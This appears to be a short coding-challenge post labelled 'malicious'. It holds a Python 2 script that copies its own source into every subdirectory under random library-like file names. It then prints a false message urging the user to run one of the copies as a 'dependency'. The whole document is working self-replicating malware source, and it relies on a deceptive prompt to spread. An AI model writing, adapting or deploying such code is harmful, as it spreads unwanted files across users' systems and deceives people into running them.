#MonthOfCode day 26 - malicious

day_26.py

# this code is awesome, you will see it everywhere!
import sys
import random
import os

alphabet = [chr(i) for i in range(ord('a'),ord('z') + 1)  ]
def genRandomName():
    name_length = random.randint(2,8)
    lchar = list()
    for i in xrange(name_length):
        lchar.append( random.choice( alphabet) )
    prfix = sfx = ''
    if( random.choice((True,False)) ):
        prfix = 'lib_' 
    else:
        if( random.choice((True,False)) ):
            sfx = '_ref'
        else:
            sfx = '_sample'
    return prfix+(''.join( lchar) )+sfx+'.py'

inf = os.walk('.')
ll = [ x[0] for x in inf]
data = open( sys.argv[0], 'r').read()
for a_dir in ll:
    last_fname = a_dir+'/'+genRandomName()
    f = open( last_fname , 'w' )
    f.write( data)
    f.close()
print "This program has some dependencies, run "+last_fname+" first."